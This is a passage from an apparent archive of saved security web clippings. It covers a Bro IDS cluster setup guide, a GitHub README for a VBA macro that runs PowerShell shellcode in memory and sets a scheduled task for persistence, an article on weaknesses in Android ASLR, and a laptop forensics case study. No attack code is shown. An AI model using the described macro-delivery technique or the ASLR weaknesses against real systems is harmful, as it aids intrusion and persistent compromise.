from the prerequisite installation, the steps should be largely the same on
any Linux distribution. To run multiple Bro instances on the same local
machine, we will use PF\_RING's amazing ability to perform efficient, per-flow
software pcap load-balancing.  
  
\# install prereqs  
sudo apt-get install swig python-dev libmagic-dev libpcre3-dev libssl-dev
cmake git-core subversion ruby-dev libgeoip-dev flex bison  
\# uninstall conflicting tcpdump  
sudo apt-get remove tcpdump libpcap-0.8  
cd ~/  
\# install PF\_RING  
svn export https://svn.ntop.org/svn/ntop/trunk/PF\_RING/ pfring-svn  
cd pfring-svn/kernel  
make && sudo make install  
cd ../userland/lib  
./configure --prefix=/usr/local/pfring && make && sudo make install  
cd ../libpcap-1.1.1-ring  
./configure --prefix=/usr/local/pfring && make && sudo make install  
echo "/usr/local/pfring/lib" >> /etc/ld.so.conf  
cd ../tcpdump-4.1.1  
./configure --prefix=/usr/local/pfring && make && sudo make install  
\# Add PF\_RING to the ldconfig include list  
echo "PATH=$PATH:/usr/local/pfring/bin:/usr/local/pfring/sbin" >>
/etc/bash.bashrc  
cd ~/  
\# Get and make Bro  
mkdir brobuild && cd brobuild  
git clone --recursive git://git.bro-ids.org/bro  
BRODIR=/usr/local/bro-$\(date +"%Y%m%d"\)  
./configure --prefix=$BRODIR --with-pcap=/usr/local/pfring && cd build && make
-j8 && sudo make install  
sudo ln -s $BRODIR /usr/local/bro  
cd /usr/local/bro  
  
  
Now we need to edit the Bro config for your environment. For the purposes of
this quickstart, I will assume that you are monitoring a single interface,
eth2. Edit /usr/local/bro/etc/node.cfg to look like this \(assuming your local
host is 192.168.1.1 and you want to run 4 instances\):

\[manager\]

type=manager

host=192.168.1.1

\[proxy-0\]

type=proxy

host=192.168.1.1

\[worker-0\]

type=worker

host=192.168.1.1

interface=eth2

lb\_method=pf\_ring

lb\_procs=4

Now we need to edit share/bro/site/local.bro to add some options that I
recommend to prevent some of the more verbose logs from filling up the drive.
Append the following text:  
  
  
event bro\_init\(\)

Log::disable\_stream\(HTTP::LOG\);

Log::disable\_stream\(Syslog::LOG\);

Log::disable\_stream\(Conn::LOG\);

Log::disable\_stream\(DNS::LOG\);

Log::disable\_stream\(Weird::LOG\);

Now we're all ready to start Bro cluster:

/usr/local/bro/bin/broctl

> install
> start
Finally, in an enterprise, you will want to get these logs into your log
management or SIEM solution. You can do this very easily out of the box in
Ubuntu, which uses rsyslog by default. Create /etc/rsyslog.d/60-bro.conf:

$ModLoad imfile \#  
$InputFileName /usr/local/bro/logs/current/ssl.log  
$InputFileTag bro\_ssl:  
$InputFileStateFile stat-bro\_ssl  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/smtp.log  
$InputFileTag bro\_smtp:  
$InputFileStateFile stat-bro\_smtp  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/smtp\_entities.log  
$InputFileTag bro\_smtp\_entities:  
$InputFileStateFile stat-bro\_smtp\_entities  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/notice.log  
$InputFileTag bro\_notice:  
$InputFileStateFile stat-bro\_notice  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/ssh.log  
$InputFileTag bro\_ssh:  
$InputFileStateFile stat-bro\_ssh  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/ftp.log  
$InputFileTag bro\_ftp:  
$InputFileStateFile stat-bro\_ftp  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
\# check for new lines every second  
$InputFilePollingInterval 1  
local7.\* @central\_syslog\_server

Apply changes:

restart rsyslog

# enigma0x3/Powershell-Payload-Excel-Delivery · GitHub

**Created:**| _8/24/2014 8:22:21 PM_  
---|---  
**Updated:**| _8/24/2014 8:22:21 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis powershell backdoor_  
  

# New-Powershell-Payload-Excel-Delivery

This is a VBA macro that uses Matt Graeber's Invoke-Shellcode to execute a
powershell payload in memory as well as schedule a task for persistence.

Please note that the powershell commands in the macro can be encoded.

For this to work, Invoke-Shellcode needs to be accessible by the target.

HUGE thanks to Matthew Graeber \(@mattifestation\) for writing Invoke-
Shellcode. You can find his great work over at
https://github.com/mattifestation.

# The State of ASLR on Android Lollipop

**Created:**| _5/12/2015 11:40:11 AM_  
---|---  
**Updated:**| _5/12/2015 11:40:11 AM_  
**Author:**| __  
**Tags:**| _android mitigations_  
  

# The State of ASLR on Android Lollipop

Investigating the state of ASLR on Android, how Zygote breaks it, and how we
fixed it in our ROM.

By Daniel Micay

yesterday

Modern platforms like Android devices enforce execute protections on memory,
so injecting code into the process is often no longer the lowest hanging fruit
for exploitation. Reusing the existing code and data has become the norm, and
statistical defense via Address-Space Layout randomization is still the only
widely available countermeasure. Control Flow Integrity \(CFI\) techniques can
be used to protect against hijacking the return address and/or function
pointers \(including those in virtual function tables\) but still leaves data-
only attacks wide open and isn’t fully ironed out. GCC, Android’s default
compiler, has no implementation and the recently landed implementation in
Clang/LLVM is very limited. Since ASLR is pretty much the only game in town
for the vast amounts of code written in memory unsafe languages, the quality
of implementation is a very important aspect of a platform’s security.

Identifying and addressing the weaknesses in Android’s ASLR implementation is
one of the many steps taken by Copperhead’s Android fork to harden the system.
Most of the relevant code is already available on GitHub and the rest will be
there in the future.

## Linux kernel

The Linux kernel was the birth place of ASLR, as part of the out-of-tree PaX
patches. The techniques were pioneered there and a weaker implementation was
eventually adopted by the Linux kernel and other mainstream operating systems.
These days, ASLR is one of the least interesting components of PaX as there
are many other compelling features without the same adoption by other
operating systems.

ASLR on Linux \(including PaX kernels\) works by randomizing various base
addresses used to define the layout of the address space. Enabling full ASLR
relies on cooperation from userspace, since the executable needs to be
position independent \(PIE\) like a dynamic library in order to be relocated,
which was not historically true. Each instance of an executable will be given
a randomized address space layout at execution time. This is in contrast to
Windows where relocations \(runtime rewrites\) are used instead of position
independent code, and the operating system caches the randomized addresses of
executables and libraries to share the pages between instances.

The vanilla implementation is lower entropy than the one in PaX and lacks the
robust mitigation of brute force attacks provided by grsecurity’s \(a superset
of PaX, developed alongside it\) GRKERNSEC\_BRUTE feature. Most Android
devices are 32-bit, where brute-forcing is _very_ practical even without local
code execution. The other common approach to bypassing it relies on
information leaks giving up part or all of an address. There’s often no
information channel to the attacker, so this isn’t an option even if the code
does have this kind of uninitialized read or read overflow vulnerability.

## Brief history of ASLR on Android

Early Android versions only had stack randomization due to lack of kernel
support for ASLR on ARM. The 4.0 release introduced mmap randomization thanks
to upstream progress. The kernel also gained support for ARM exec and brk
randomization but Android still lacked userspace support. The 4.1 release
introduced support for full ASLR by enabling heap \(brk\) randomization and
adding linker support for self-relocation and Position Independent Executables
\(PIE\).

Lollipop is the latest step forwards, as non-PIE executable support was
dropped and all processes now have full ASLR.

The vDSO has been randomized since it was introduced on ARM and from the
beginning of x86 Android.

At first glance, it appears to be ahead of most Linux distributions as only a
few like Alpine Linux and Hardened Gentoo use full ASLR \(i.e.
compiling/linking as PIE\) across the board. However, there are several
problems unique to Android.

## Zygote process spawning model

A traditional Unix-like system spawns processes by using `fork()` to duplicate
a process and then `exec(...)` to replace it with an executable image after
the environment \(file descriptors, working directory, etc.\) is set up as
desired. A forked process shares the same address space layout and the
`exec(...)` call is where ASLR determines a new layout \(the set of bases\).

Android doesn’t use the traditional spawning model for applications and most
of the system services. Instead, a “zygote” service is spawned during early
boot, and is responsible for spawning nearly all processes that come after it.
It does this by using `fork()` and then loading process-specific code and data
_without_ calling `exec(...)`. This spawning model is simply an optimization,
reducing both start-up time and memory usage.

The Zygote reduces memory usage thanks to the usage of copy-on-write across
processes, which is able to share data that would otherwise be duplicated like
the relocation sections that are rewritten based on where code ends up. In
fact, Android has infrastructure in the system server \(the core service\),
linker and elsewhere to support dynamically sharing relocation sections across
executables. This takes advantage of immediate binding and RELRO making the
relocation sections read-only at runtime. The WebView library has a 2M RELRO
section and is currently the only library that’s handled this way, although
the infrastructure is generic. The Zygote also spends ~800ms \(on a Nexus 5\)
preloading over 3000 classes \(most apps use ~80-250\) and ~500ms preloading
over 500 graphical resources \(typically even sparser usage\), various shared
libraries and an EGL \(OpenGL\) context in order to perform lots of work up-
front and then reuse it.

The consequence of zygote spawning model is that there are shared ASLR bases
across applications and most services. This defeats ASLR as a local security
mechanism between processes of different privilege levels and severely weakens
it against remote attackers. An information leak in one application gives away
the ASLR bases for all others and the bases remain constant across executions
rather than being randomized again after a process is restarted. This makes
brute forcing even more practical.

The simplest fix is to switch to the `fork()` \+ `exec(...)` spawning model
with no preloading. This increases memory usage by ~3M to ~15M depending on
the process. The start-up time is acceptable once preloading is disabled
\(~1.2s wasted\!\), but there’s a noticeable regression. This is currently the
path taken by Copperhead OS as it’s simple and fast enough for the niche. A
faster but more complex approach is to use a pre-spawning pool as done in the
Morula research paper. This does not reduce memory usage but it does go a long
way to fixing the start-up time regression. It’s likely going to be the
approach for Copperhead OS in the future and may even be acceptable upstream
for high memory devices. The Morula proof of concept code has some issues like
file descriptor leaks and needs to be ported to Lollipop. It’s much less
important now that ART has drastically improved start-up time without the
zygote.

The `/proc/$PID/maps` output for the vanilla phone service and calendar app
demonstrates the impact of the zygote spawning model. The stack, executable
and mmap bases are identical across both processes along with the base image
file and the garbage collected heap alongside it.

**com.android.phone on vanilla Android \(5.0.1\)**

[code]

    12c00000-12e01000 rw-p 00000000 00:04 7599       /dev/ashmem/dalvik-main space (deleted)
    12e01000-13745000 rw-p 00201000 00:04 7599       /dev/ashmem/dalvik-main space (deleted)
    13745000-32c00000 ---p 00b45000 00:04 7599       /dev/ashmem/dalvik-main space (deleted)
    32c00000-32c01000 rw-p 00000000 00:04 7600       /dev/ashmem/dalvik-main space (deleted)
    32c01000-52c00000 ---p 00001000 00:04 7600       /dev/ashmem/dalvik-main space (deleted)
    70724000-710d3000 rw-p 00000000 b3:19 253461     /data/dalvik-cache/arm/system@framework@boot.art
    710d3000-72c5e000 r--p 00000000 b3:19 253460     /data/dalvik-cache/arm/system@framework@boot.oat
    72c5e000-7425e000 r-xp 01b8b000 b3:19 253460     /data/dalvik-cache/arm/system@framework@boot.oat
    7425e000-7425f000 rw-p 0318b000 b3:19 253460     /data/dalvik-cache/arm/system@framework@boot.oat
    [...]
    a2cad000-a3000000 r--s 00020000 b3:17 1752       /system/priv-app/TeleService/TeleService.apk
    [...]
    b6d71000-b6dd4000 r-xp 00000000 b3:17 1209       /system/lib/libc.so
    b6dd4000-b6dd7000 r--p 00062000 b3:17 1209       /system/lib/libc.so
    b6dd7000-b6dda000 rw-p 00065000 b3:17 1209       /system/lib/libc.so
    [...]
    b6ef4000-b6f01000 r-xp 00000000 b3:17 227        /system/bin/linker
    b6f01000-b6f02000 r-xp 00000000 00:00 0          [sigpage]
    b6f02000-b6f03000 r--p 0000d000 b3:17 227        /system/bin/linker
    b6f03000-b6f04000 rw-p 0000e000 b3:17 227        /system/bin/linker
    b6f04000-b6f05000 rw-p 00000000 00:00 0 
    b6f05000-b6f08000 r-xp 00000000 b3:17 153        /system/bin/app_process32
    b6f08000-b6f09000 r--p 00002000 b3:17 153        /system/bin/app_process32
    b6f09000-b6f0a000 rw-p 00000000 00:00 0 
    be615000-be615000 ---p 00000000 00:00 0 
    be615000-bee14000 rw-p 00000000 00:00 0          [stack]
    [...]
    
[/code]

**com.android.calendar on vanilla Android \(5.0.1\)**

[code]

    12c00000-12e01000 rw-p 00000000 00:04 7599       /dev/ashmem/dalvik-main space (deleted)
    12e01000-13745000 rw-p 00201000 00:04 7599       /dev/ashmem/dalvik-main space (deleted)
    13745000-32c00000 ---p 00b45000 00:04 7599       /dev/ashmem/dalvik-main space (deleted)
    32c00000-32c01000 rw-p 00000000 00:04 7600       /dev/ashmem/dalvik-main space (deleted)
    32c01000-52c00000 ---p 00001000 00:04 7600       /dev/ashmem/dalvik-main space (deleted)
    70724000-710d3000 rw-p 00000000 b3:19 253461     /data/dalvik-cache/arm/system@framework@boot.art
    710d3000-72c5e000 r--p 00000000 b3:19 253460     /data/dalvik-cache/arm/system@framework@boot.oat
    72c5e000-7425e000 r-xp 01b8b000 b3:19 253460     /data/dalvik-cache/arm/system@framework@boot.oat
    7425e000-7425f000 rw-p 0318b000 b3:19 253460     /data/dalvik-cache/arm/system@framework@boot.oat
    [...]
    b5025000-b502c000 r--s 0024f000 b3:17 32         /system/app/Calendar/Calendar.apk
    [...]
    b6d71000-b6dd4000 r-xp 00000000 b3:17 1209       /system/lib/libc.so
    b6dd4000-b6dd7000 r--p 00062000 b3:17 1209       /system/lib/libc.so
    b6dd7000-b6dda000 rw-p 00065000 b3:17 1209       /system/lib/libc.so
    [...]
    b6ef4000-b6f01000 r-xp 00000000 b3:17 227        /system/bin/linker
    b6f01000-b6f02000 r-xp 00000000 00:00 0          [sigpage]
    b6f02000-b6f03000 r--p 0000d000 b3:17 227        /system/bin/linker
    b6f03000-b6f04000 rw-p 0000e000 b3:17 227        /system/bin/linker
    b6f04000-b6f05000 rw-p 00000000 00:00 0 
    b6f05000-b6f08000 r-xp 00000000 b3:17 153        /system/bin/app_process32
    b6f08000-b6f09000 r--p 00002000 b3:17 153        /system/bin/app_process32
    b6f09000-b6f0a000 rw-p 00000000 00:00 0 
    be615000-be615000 ---p 00000000 00:00 0 
    be615000-bee14000 rw-p 00000000 00:00 0          [stack]
    [...]
    
[/code]

The output from Copperhead OS is much different, as PaX ASLR is different from
vanilla and ignores mmap hints. The two applications have distinct address
spaces since an `exec(...)` spawning model is used.

**com.android.phone on CopperheadOS:**

[code]

    02755000-02757000 r-xp 00000000 b3:19 155        /system/bin/app_process32
    02757000-02758000 r--p 00002000 b3:19 155        /system/bin/app_process32
    02758000-02759000 rw-p 00000000 00:00 0 
    02759000-0389f000 ---p 00000000 00:00 0 
    0389f000-038a0000 rw-p 00000000 00:00 0          [heap]
    6f77f000-702e3000 rw-p 00000000 b3:1c 105877     /data/dalvik-cache/arm/system@framework@boot.art
    702e3000-71e7e000 r--p 00000000 b3:1c 105876     /data/dalvik-cache/arm/system@framework@boot.oat
    71e7e000-733f9000 r-xp 01b9b000 b3:1c 105876     /data/dalvik-cache/arm/system@framework@boot.oat
    733f9000-733fa000 rw-p 03116000 b3:1c 105876     /data/dalvik-cache/arm/system@framework@boot.oat
    733fa000-73d03000 rw-p 00000000 00:04 11159      /dev/ashmem/dalvik-main space (deleted)
    73d03000-73dfb000 ---p 00909000 00:04 11159      /dev/ashmem/dalvik-main space (deleted)
    73dfb000-933fa000 ---p 00a01000 00:04 11159      /dev/ashmem/dalvik-main space (deleted)
    [...]
    a89e5000-a89f1000 r--s 003e8000 b3:19 1494       /system/priv-app/TeleService/TeleService.apk
    [...]
    af5d8000-af629000 r-xp 00000000 b3:19 945        /system/lib/libc.so
    af629000-af62b000 r--p 00051000 b3:19 945        /system/lib/libc.so
    af62b000-af62e000 rw-p 00053000 b3:19 945        /system/lib/libc.so
    [...]
    af642000-af64f000 r-xp 00000000 b3:19 232        /system/bin/linker
    af64f000-af650000 r--p 0000c000 b3:19 232        /system/bin/linker
    af650000-af651000 rw-p 0000d000 b3:19 232        /system/bin/linker
    af651000-af652000 rw-p 00000000 00:00 0 
    bc1db000-bc1dc000 ---p 00000000 00:00 0 
    bc1dc000-bc9db000 rw-p 00000000 00:00 0          [stack]
    [...]
    
[/code]

**com.android.calendar on CopperheadOS:**

[code]

    0fe32000-0fe34000 r-xp 00000000 b3:19 155        /system/bin/app_process32
    0fe34000-0fe35000 r--p 00002000 b3:19 155        /system/bin/app_process32
    0fe35000-0fe36000 rw-p 00000000 00:00 0 
    0fe36000-10c2a000 ---p 00000000 00:00 0 
    10c2a000-10c2b000 rw-p 00000000 00:00 0          [heap]
    6f77f000-702e3000 rw-p 00000000 b3:1c 105877     /data/dalvik-cache/arm/system@framework@boot.art
    702e3000-71e7e000 r--p 00000000 b3:1c 105876     /data/dalvik-cache/arm/system@framework@boot.oat
    71e7e000-733f9000 r-xp 01b9b000 b3:1c 105876     /data/dalvik-cache/arm/system@framework@boot.oat
    733f9000-733fa000 rw-p 03116000 b3:1c 105876     /data/dalvik-cache/arm/system@framework@boot.oat
    733fa000-739fb000 rw-p 00000000 00:04 327533     /dev/ashmem/dalvik-main space (deleted)
    739fb000-933fa000 ---p 00601000 00:04 327533     /dev/ashmem/dalvik-main space (deleted)
    [...]
    9d9fe000-9da06000 r--s 0024c000 b3:19 33         /system/app/Calendar/Calendar.apk
    [...]
    a45c8000-a4619000 r-xp 00000000 b3:19 945        /system/lib/libc.so
    a4619000-a461b000 r--p 00051000 b3:19 945        /system/lib/libc.so
    a461b000-a461e000 rw-p 00053000 b3:19 945        /system/lib/libc.so
    [...]
    a4632000-a463f000 r-xp 00000000 b3:19 232        /system/bin/linker
    a463f000-a4640000 r--p 0000c000 b3:19 232        /system/bin/linker
    a4640000-a4641000 rw-p 0000d000 b3:19 232        /system/bin/linker
    [...]
    a4641000-a4642000 rw-p 00000000 00:00 0 
    b5384000-b5385000 ---p 00000000 00:00 0 
    b5385000-b5b84000 rw-p 00000000 00:00 0          [stack]
    [...]
    
[/code]

## Android Runtime \(ART\)

ART moved Android to generating specialized native code from bytecode upon
installation rather than using a just-in-time compiler to do it at runtime.
This is a significant security improvement because writable executable memory
is now mostly restricted to applications making use of the Chromium-based
WebView widget. The generated code is mapped from storage into the address
space of the process spawned from the Zygote rather than a traditional model
where `exec` is called on an executable.

The generated code has a hard-wired base address just like native binaries,
and is always relocated by default on a production Android system. Since this
occurs in userspace, the Android Runtime code is responsible for choosing an
address. The main base image is currently chosen by applying a delta generated
with the following code to the base address:

[code]

    std::default_random_engine generator;
    generator.seed(NanoTime() * getpid());
    std::uniform_int_distribution<int32_t> distribution(min_delta, max_delta);
    
[/code]

The main garbage collected heap is then placed directly next to it.

It would be far saner if the generated value came from a cryptographically
secure source of entropy like Bionic’s arc4random\(\) implementation. The
default range of deltas also only picks an offset within 16MiB in either
direction, even on 64-bit. With typical 4096 byte pages, there are only 4096
possible bases \(12-bit entropy\). The mapping includes everything an attacker
needs to take control of the process so it weakens the overall effectiveness
of ASLR.

With PaX ASLR, the usual mmap base is used because mmap hints are ignored. As
is the case here, this is usually a good thing for security. There isn’t a
compelling reason to map read-only code anywhere but the kernel’s chosen
location because there are already dynamic libraries there.

## System allocator

Dynamic allocations in the Android userspace are performed via allocators
implemented on top of the kernel memory mapping APIs: the legacy brk system
call for expanding or shrinking the data section \(dss\) and the more modern
mmap, mremap and munmap calls. It’s not safe to have concurrent users of brk,
so it is typically used only in the standard C library’s `malloc`
implementation if it is used at all.

The kernel chooses random base addresses for brk and mmap but allocator design
in userspace can significantly reduce the available entropy. It’s possible to
improve upon the randomization offered by the kernel by using isolated heaps
with different random bases or fine-grained randomization but it’s difficult
to do this in a disciplined way where there are tangible security benefits.
The most important thing is simply preserving the security offered by the
kernel.

Up until Lollipop, the allocator in Android’s standard C library
implementation \(Bionic\) was good old dlmalloc. It’s a decent general purpose
allocator despite the age and the memory space API for managing isolated heaps
was used to implement Dalvik’s non-compacting garbage collector on top of a
contiguous memory mapping.

The dlmalloc allocator doesn’t perform any randomization itself but it also
doesn’t degrade the entropy offered by the kernel. The main memory space uses
brk until it’s exhausted for allocations below the mmap threshold so there’s
some isolation from mmap allocations. It also benefits from intra-page brk
randomization by the kernel, although that’s not available in vanilla Android
as it’s a feature still limited to PaX kernels.

In Lollipop, Android moved to a compacting garbage collector as part of
replacing Dalvik with the new Android Runtime \(ART\) but still uses dlmalloc
to implement a separate garbage collected heap for the remaining non-movable
objects. The malloc implementation in Bionic was replaced with jemalloc for
improved performance and scalability along with with lower fragmentation and
lazy purging of unused page spans.

Unlike dlmalloc, jemalloc does reduce heap randomization entropy. It’s a side
effect of the low-level chunk allocation model, where all memory is allocated
via naturally aligned chunks of the same size. The jemalloc version used in
the current release of Lollipop uses 4MiB chunks \(4MiB aligned\) while the
upcoming release will use 256kiB chunks \(256kiB aligned\) due to changes in
the upstream jemalloc design \(for reasons unrelated to ASLR\). With 4MiB
chunks, it loses 10 bits of ASLR entropy relative to 4k page granularity
\(2^12 -> 2^22\) while the new default chunk size causes a less severe 6-bit
loss of entropy.

The randheap2 test from the paxtest suite can be used to confirm this. The
following output is with a vanilla kernel on x86\_64, but the number of bits
lost is the same across architectures:

[code]

    % /usr/lib/paxtest/randheap2
    Heap randomisation test (PIE)            : 28 quality bits (guessed)
    % LD_PRELOAD=/usr/lib/libjemalloc.so /usr/lib/paxtest/randheap2
    Heap randomisation test (PIE)            : 18 quality bits (guessed)
    % LD_PRELOAD=/usr/lib/libjemalloc.so MALLOC_CONF=lg_chunk:22 /usr/lib/paxtest/randheap2
    Heap randomisation test (PIE)            : 18 quality bits (guessed)
    % LD_PRELOAD=/usr/lib/libjemalloc.so MALLOC_CONF=lg_chunk:18 /usr/lib/paxtest/randheap2
    Heap randomisation test (PIE)            : 22 quality bits (guessed)
    
[/code]

The rationale for the chunk allocation design in jemalloc is very compelling
so it’s unlikely that this will be changed. Allocations smaller than the chunk
size are stored within chunks after the chunk’s metadata header and huge
allocations are spans of chunks. This allows identifying allocations smaller
than the chunk size from the fact that they’re not chunk aligned and the
metadata can be found in O\(1\) time in the header. It’s also the basis for a
chunk recycling scheme allowing jemalloc to avoid the overhead and lack of
scalability of mapping and unmapping memory by recycling spans of chunks
itself and doing lazy page purging rather than ever unmapping memory. It also
has better worst-case time complexity than the kernel \(logarithmic, not
linear\) and greatly reduced address space fragmentation.

Another difference between jemalloc and traditional allocators like dlmalloc
is that it doesn’t have much use for brk. It only allocates chunks from the
operating system and handles recycling non-contiguous spans in O\(log n\) time
already. It defaults to using mmap and then brk but can be configured to use
brk and then mmap, which would offer some isolation from mmap allocations such
as writable executable memory from a JIT compiler. There aren’t currently any
performance differences between the two options, especially since it’s only
used to expand the peak virtual memory. However, mmap will likely have
performance advantages in the future if it becomes possible to move pages
between mappings with `mremap` as a `realloc` optimization.

Copperhead OS is currently using a port of OpenBSD’s memory allocator, which
is zone-based like jemalloc but with page-size zones \(no loss of entropy\)
and a bit of fine-grained randomization for small allocations and zone
caching. It would be unacceptable for vanilla Android because it has a global
lock like dlmalloc and is slower and more prone to fragmentation then dlmalloc
for allocations larger than the page size. It’s more than good enough for a
hardened OS, but not one targeted at running performance-critical code like
games or professional audio applications.

There are many other security-relevant aspects to the system allocator\(s\)
and future posts will delve much deeper into this.

## PaX ASLR \(and more\) on Android

PaX works very well out-of-the-box on Android, with no need for exceptions
from PaX ASLR for the base system. All of the kernel hardening features work
fine with some minor adjustments for out-of-tree code, and there are fewer
problems with the userspace features than there are with typical desktop
systems. A few broken third party applications like Firefox require a RANDMMAP
exception. Some MPROTECT exceptions are needed to allow runtime code
generation, as would be expected. ART itself doesn’t require this and even
Dalvik didn’t _need_ it because it would happily fall back to interpretation,
so many Android applications work fine with MPROTECT enabled.

PaX’s executable exception system is too coarse in Android’s executation
model. Most Android applications run as `/system/bin/app_process` even if the
standard fork model is used and changing this is unrealistic. A solid
alternative would be gid-based exceptions, since that’s the basis of Android’s
permission model. It may be possible to implement this via PaX’s hooks from a
module rather than actually adding a core feature. Copperhead OS currently
applies the exceptions to executables via extended attributes but will likely
move to an Android-specific system.

Android currently has two actively maintained kernel branches: 3.4 kernels for
most current devices, and 3.10 for some recent devices and most upcoming ones.
Sadly, this doesn’t match up with either of the PaX/grsecurity LTS branches:
3.2 and 3.14. Copperhead OS is currently targeting a 3.4 kernel \(for the
Nexus 5 and Samsung S4\) with many bug fixes ported from the 3.2 LTS. The move
to 3.10 will hopefully happen within a year or two when more devices are
available, with backports from the 3.14 LTS. Maintaining a proper port is a
lot of work with a lot of room for mistakes, so collaboration with other
interested parties would be ideal.

## Conclusion

Android has done a great job adopting standard Linux security technologies
like full ASLR. It is comparable to hardened distributions like Alpine Linux
and Hardened Gentoo in that sense but it doesn’t make the same improvements
over the mediocre status quo by incorporating features from PaX/grsecurity.
The atypical design of Android platform has also introduced weaknesses that
aren’t present in traditional distributions, and addressing some of them means
reversing performance and memory usage optimizations to some extent.

# Adventures in Laptop Forensics - Gillware Digital Forensics

**Created:**| _5/7/2017 10:19:03 AM_  
---|---  
**Updated:**| _5/7/2017 10:19:03 AM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

  

#  Adventures in Laptop Forensics

<img src='img/Temp2_491.jpg' width='300' height='236' alt='The computers our
laptop forensics experts see can be very well-traveled. This one had taken a
trip to Belize and came back suspiciously different...' />

The computers our laptop forensics experts see can be very well-traveled. This
one had taken a trip to Belize and came back suspiciously different…

_“Would you tell me, please, which way I ought to go from here?”_  
_“That depends a good deal on where you want to get to.”_  
_“I don’t much care where –”_  
_“Then it doesn’t matter which way you go.”_  
― Lewis Carroll, Alice in Wonderland

### A Grand Adventure in Laptop Forensics

If you’re seeking adventure, you really couldn’t pick a much better place to
start than Belize. Home to the Mayans, countless buccaneers, and lush jungle
flora and fauna, Belize is an adventurer’s dream. And Belize is precisely
where a recent Gillware Digital Forensics case began. \(Unfortunately, though,
none of us here at Gillware got to make a trip there for this laptop forensics
case.\)

Our client sent in a laptop that had belonged to a recently-fired employee for
our computer forensics specialists to examine. Our client suspected that the
ex-employee had used the company laptop for outside business, among other
things. When the employee left, they took a company-owned laptop with them.

The laptop eventually made its way back to the company via another employee.
Once the laptop returned, however, the company discovered that someone had
installed a pirated version of Windows 7 Ultimate on the laptop. The company’s
data was no longer accessible. It looked like a suspicious situation. The
client needed the help of laptop forensics experts to evaluate the veracity of
their suspicions.

At Gillware Digital Forensics, it’s fairly common for the cases we take on to
involve employee misconduct. In these cases, an employer often suspects that
an ex-employee may have expropriated some proprietary data from the company,
using a company computer to do so, or that an ex-employee has been doing work
on the side which violates their employment contract, using company property
and on company time \(as this one had allegedly done\). For civil cases
involving employee misconduct, the evidence provided by digital forensics
litigation support specialists provide leverage for attorneys and help ensure
a just and fair outcome.

### Laptop Forensics: Scratching the Surface

Our client knew the laptop had a tale to tell, and asked our laptop forensics
experts to uncover that story. They hoped that we would be able to recover
some of the data that used to exist on the machine.

In digital forensics, it is important to start with specific goals in mind.
Otherwise, the examiner may end up wandering aimlessly in a sea of data, like
sailors without a compass. Spending some time to understand these background
details allows our litigation support specialists to spend their investigatory
time appropriately; like most businesses time is money in litigation support
services. We asked our client for details about the types of files they were
hoping to recover, the dates of employment for the ex-employee, and what
authorized and unauthorized activity would look like on the system. Basically,
we asked them to tell us the story of the laptop as _they_ knew it so that our
laptop forensics team would have context to work with.

And then the archaeological digging began. After removing the hard drive and
obtaining a forensic image of it, we began our forensic examination by looking
at the details and artifacts surrounding the installation of the pirated
operating system. On a day just after our client fired the employee in
question, the laptop had hit a wireless access point at a pawn shop in a Santa
Elena, Belize, which it had connected to at the beginning of the installation
process for the pirated operating system. Our further analysis of the registry
showed that the computer had connected to this access point at least twice,
nearly a month apart.

#### There be Pirates Here\!

<img src='img/Genuine-Microsoft.png' width='554' height='315' alt='Microsoft
checks for counterfeit/pirated Windows copies' />

How did we know we had a pirated operating system on our hands? For that
matter, how does _Microsoft_ know? Microsoft has various means of checking
whether an operating system is legitimate. We have our various means of
checking as well.

In this case, we knew for a fact that our adventuresome laptop left the safe
port of home with Windows XP installed. When it returned from the wilds of
Belize, it had an OEM version of Windows 7 Ultimate installed on it. OEM
stands for “Original Equipment Manufacturer”. In other words, this copy of
Windows 7 Ultimate should have shipped with original system hardware, pre-
installed on a brand new computer, and shouldn’t have ended up installed onto
this laptop.

During the Windows activation process, Microsoft checks to make sure a
genuine, properly authorized version of their operating system is installed.
In our case, the activation failed on a date check problem. The computer
hardware preexisted the advent of the operating system, and Microsoft knew
it\!

With deeper digging we were able to find and recover deleted copies of the
system’s registry hives in unallocated space on the hard disk drive. These
registry hives included the original, genuine operating system installation
information. One great tool for doing this type of work is Arsenal Forensics’
Registry Recon.

By examining MFT \(Master File Table\), LogFile, and USN \(Update Sequence
Number\) Journal records records using ANJP TriForce, the archaeological dig
continued to a deeper level. We discovered file names, file paths, and dates
and times associated with previously existing files. We recovered a handful of
files, though many of the preexisting files were overwritten and not
recoverable. More importantly, we provided a long list of previously existing
files. These files proved that the ex-employee had in fact used the laptop for
outside work, just as the employer suspected.

### Laptop Forensics: The Road Home

It’s not unusual to find stolen laptops ending up in pawn shops. What was a
bit unusual in this laptop forensics case, though, was how our laptop returned
home. The ex-employee _gave_ the wayward laptop to another employee, who
returned it to its owner. Circumstantially, this makes it appear that the
visit to the pawn shop was made specifically to clean up the computer and
cover up unauthorized activity. Some cases are intrinsically interesting based
on what is found during a forensic examination.

In the world of digital forensics litigation support, the best way to find
what you’re looking for is to know as soon as possible what it is you’re
looking for. If you don’t know what you’re looking for, you won’t know where
to start. While you’ll probably find your way eventually, you’ll waste much
less time, money, and brainpower when you start from a clear premise. In this
case, we managed to find exactly what our client was looking for. The evidence
we uncovered of the ex-employee’s impropriety will surely aid our client in
their civil case.

<img src='img/sharing-caring.png' width='200' height='65' />

  * 7 
  * 0 
  * 1 
  * 0 
  * 40 
  * 0 
  * 0 

  

# Hackito Ergo Sum 2011

**Created:**| _4/21/2011 10:26:36 AM_  
---|---  
**Updated:**| _4/21/2011 10:32:20 AM_  
**Author:**| __  
**Tags:**| _bookmark conference-material slides_  
  

# Hackito Ergo Sum 2011

# Transmit FM using Raspberry Pi and no additional hardware

**Created:**| _7/23/2013 4:46:26 PM_  
---|---  
**Updated:**| _7/28/2013 7:54:18 AM_  
**Author:**| __  
**Tags:**| _Embedded Hacks DSP FM_  
  

# Transmit FM using Raspberry Pi and no additional hardware****

